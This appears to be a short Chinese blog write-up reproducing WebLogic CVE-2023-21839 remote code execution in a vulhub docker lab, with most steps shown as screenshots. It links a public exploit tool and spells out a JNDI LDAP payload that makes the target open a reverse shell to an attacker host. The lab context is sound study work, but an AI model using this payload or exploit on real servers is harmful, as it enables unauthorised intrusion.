Weblogic-CVE-2023-21839-远程代码执行复现

蔚落 2024-05-23 14:15 69阅读 0赞

### Weblogic-CVE-2023-21839-远程代码执行复现 ###

#### 前言： ####

docker+vulhub  
![在这里插入图片描述][c82aba0f9c434b09b27196b9db1ef852.png]  
访问靶机：![在这里插入图片描述][260b98859e29436eada5a33768c8e358.png]

#### 漏洞验证： ####

exp：https://github.com/4ra1n/CVE-2023-21839  
![在这里插入图片描述][b50443bcc377468fa565651d7dd4017f.png]  
dnslog:  
![在这里插入图片描述][52d227b6deee4ce5828f259308cfb906.png]

#### 漏洞利用：——反弹shell到攻击机（kali） ####

JNDIExploit-1.2-SNAPSHOT.jar开启ldap:  
![在这里插入图片描述][44be8812e57247d68b8442cba664318c.png]  
发送反弹shellpayload：

ldap://172.16.1.100:1389/Basic/ReverseShell/ReverseShell/172.16.1.100/2233

成功反弹shell  
![在这里插入图片描述][d6480f6831264809be7d5c06939f482d.png]

[c82aba0f9c434b09b27196b9db1ef852.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/b251a8bb5d2742fcbfebbfe31d52810a.png
[260b98859e29436eada5a33768c8e358.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/0526b93372364bc5b3612bf4666af36b.png
[b50443bcc377468fa565651d7dd4017f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/ee4c41d3f8d2424da2c5e53a4588a004.png
[52d227b6deee4ce5828f259308cfb906.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/97c5316a665e4d69b7febbced8070722.png
[44be8812e57247d68b8442cba664318c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/e2ca6df0b5bf412e8a6cc9c171becd5e.png
[d6480f6831264809be7d5c06939f482d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/f7adec01f2e34e1a94c614561bfe1da4.png